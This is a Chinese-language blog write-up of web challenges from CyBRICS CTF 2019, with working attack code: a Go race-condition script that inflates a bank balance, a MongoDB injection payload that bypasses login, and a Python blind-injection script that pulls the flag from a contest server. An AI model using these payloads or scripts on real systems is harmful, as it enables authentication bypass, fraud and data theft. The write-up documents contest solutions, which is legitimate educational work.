ctf网络安全

CyBRICS CTF 2019 WEB WriteUp

2019-07-29  本文已影响40人  _LuckyCat_

Warmup

访问时明显有个跳转,用burp拦截一下


image.png

Bitkoff Bank

发现btc/usd互转的时候会给usd加钱,就写了个go程序来跑

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "regexp"
    "strings"
)

var url = "http://95.179.148.72:8083/index.php"

func main() {
    go btc2usd("0.00009", true)
    for j:=0; j < 100; j++ {
        usd2btc("0.9")
        _, b := getmoney()
        btc2usd(b, false)
        fmt.Println(getmoney())
    }
    _, b := getmoney()
    btc2usd(b, false)
    fmt.Println(getmoney())
    fmt.Println("done")

}

func getmoney() (string, string) {
    client := &http.Client{}
    req,_ := http.NewRequest("POST",url,strings.NewReader(""))
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Cookie","name=catcat; password=catcat")
    resp2, _ := client.Do(req)
    body, _ := ioutil.ReadAll(resp2.Body)
    r := regexp.MustCompile("Your USD: <b>(.*)</b><br>Your")
    usd := r.FindStringSubmatch(string(body))[1]
    r = regexp.MustCompile(">Your BTC: <b>(.*)</b><br>")
    btc := r.FindStringSubmatch(string(body))[1]
    return usd, btc
}


func btc2usd(amount string, l bool) {
    client := &http.Client{}
    req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=btc&to_currency=usd&amount="+amount))
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Cookie","name=catcat; password=catcat")
    if l == true {
        for {
            client.Do(req)
        }
    } else {
        client.Do(req)
    }

}

func usd2btc(amount string) {
    client := &http.Client{}
    req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=usd&to_currency=btc&amount="+amount))
    req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    req.Header.Set("Cookie","name=catcat; password=catcat")
    client.Do(req)
}

这样大改能0.002/次增加usd

Caesaref

题目出了非预期,应该是cookie设置直接用header加了,登进去输入vps地址就能拿到session,然后换上session后show flag一下


image.png

NopeSQL

.git虽然404但加了个/


image.png

所以是骗人的404,用githack拉下来

<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
    $document = $collection->findOne(json_decode($raw_query));
    if (isset($document) && isset($document->password)) {
        return true;
    }
    return false;
}

$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
    $user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $user = auth($_POST['username'], $_POST['password']);
    if ($user) {
        setcookie('username', $_POST['username']);
        setcookie('password', $_POST['password']);
    }
}

?>

<?php if ($user == true): ?>

    Welcome!
    <div>
        Group most common news by
        <a href="?filter=$category">category</a> |
        <a href="?filter=$public">publicity</a><br>
    </div>

    <?php
        $filter = $_GET['filter'];

        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

        $pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],
            ['$limit' => 5],
        ];

        $filters = [
            ['$project' => ['category' => $filter]]
        ];

        $cursor = $collection->aggregate(array_merge($filters, $pipeline));
    ?>

    <?php if (isset($filter)): ?>

        <?php
            foreach ($cursor as $category) {
                    printf("%s has %d news<br>", $category['_id'], $category['count']);
            }
        ?>

    <?php endif; ?>

<?php else: ?>

    <?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
        Invalid username or password
    <?php endif; ?>

    <form action='/' method="POST">
        <input type="text" name="username">
        <input type="password" name="password">
        <input type="submit">
    </form>

    <h2>News</h2>
    <?php
        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
        $cursor = $collection->find(['public' => 1]);
        foreach ($cursor as $news) {
            printf("%s<br>", $news['title']);
        }
    ?>

<?php endif; ?>

mongodb注入,之前没碰过mongodb,极速学习...
首先auth函数中直接采取拼接字符串的方式构造json,可以用"来进行逃逸

username: admin
password: ","password":{"$ne":"a"},"username":"admin

这样就能查找用户名为admin and 密码不是a的记录,肯定有的,所以顺利登进去

image.png
这里的逻辑对应的是
    <?php
        $filter = $_GET['filter'];

        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

        $pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],
            ['$limit' => 5],
        ];

        $filters = [
            ['$project' => ['category' => $filter]]
        ];

        $cursor = $collection->aggregate(array_merge($filters, $pipeline));
    ?>

$filters猜测是和group by差不多的作用,通过fuzz,发现category还能是$_id$text$title
但是因为['$limit' => 5],所以不能直接用$text把flag内容打出来
于是猜想filter[$ne] = xxx行不行,发现直接500了,为了知道报错是什么,本地搭了个环境

image.png

发现是需要两个参数,于是构造filter[$ne][0]=$public&filter[$ne][1]=1

image.png
发现没报错了,但是怎么都没变化,换个字段试试,比如category
本地所有的category
image.png
image.png
image.png
['$project' => ['category' => [$ne => ["category", "asdasd"]]]]

可以,这不就可以用来盲注吗
盲猜数组的构造
于是写了个脚本

import requests

url = "http://173.199.118.226/index.php?filter[$gt][0]=$text&filter[$gt][1]="
cookie = {
    "username": "admin",
    "password": '","password":{"$ne":"a"},"username":"admin'
}

res = ""
for j in range(50):
    for i in range(33,127):
        s = chr(i)
        print s
        r = requests.get(url+res+s, cookies=cookie)
        # print r.text
        if "1 has" not in r.text:
            res += chr(i-1)
            print "----->",res
            break
image.png

最后一个|改成}就好了

上一篇下一篇

猜你喜欢

热点阅读